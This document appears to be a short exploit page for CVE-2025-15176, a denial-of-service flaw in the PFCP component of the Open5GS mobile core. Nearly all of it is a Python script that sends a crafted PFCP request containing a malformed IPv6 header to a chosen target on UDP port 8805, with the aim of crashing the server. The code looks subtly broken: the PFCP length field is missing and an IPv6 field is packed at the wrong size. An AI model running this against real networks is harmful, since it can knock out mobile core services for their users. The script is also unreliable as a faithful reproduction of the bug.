CVE-2025-15176 Open5GS PFCP组件IPv6头部解码断言拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2025-15176 PoC - Open5GS PFCP IPv6 Header Assertion DoS Note: This is a conceptual PoC for educational purposes only. """ import socket import struct def build_pfcp_header(message_type, sequence_num): """Build PFCP Header""" version_flags = 0x40 # Version 1 message_type = message_type length = 0 # Will be filled later header = bytes([version_flags, message_type]) header += struct.pack('>I', sequence_num)[1:4] # Sequence number (3 bytes) header += bytes([0x00, 0x00]) # Spare return header def build_ipv6_header_with_malformed_extension(): """Build malformed IPv6 header to trigger assertion""" version_class_flow = 0x60000000 payload_length = 0x0000 next_header = 0x3B # Invalid/obsolete header type hop_limit = 64 src_addr = bytes([0x20, 0x01, 0x0d, 0xb8] + [0x00] * 12) dst_addr = bytes([0x20, 0x01, 0x0d, 0xb8] + [0x00] * 12) ipv6_header = struct.pack('>IHH', version_class_flow, payload_length, next_header) ipv6_header += bytes([hop_limit]) ipv6_header += src_addr + dst_addr return ipv6_header def exploit(target_ip, target_port=8805): """Send malicious PFCP Session Establishment Request""" print(f"[*] Target: {target_ip}:{target_port}") print(f"[*] Building malicious PFCP request...") # PFCP Header (Session Establishment Request = 0x32) pfcp_header = build_pfcp_header(0x32, 0x123456) # Create IE list with malformed IPv6 packet ie_data = build_ipv6_header_with_malformed_extension() # Combine header and IE data packet = pfcp_header + ie_data print(f"[*] Sending malicious packet ({len(packet)} bytes)...") try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) sock.sendto(packet, (target_ip, target_port)) print("[+] Packet sent successfully") print("[*] If vulnerable, the server should crash due to assertion failure") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip>") sys.exit(1) exploit(sys.argv[1])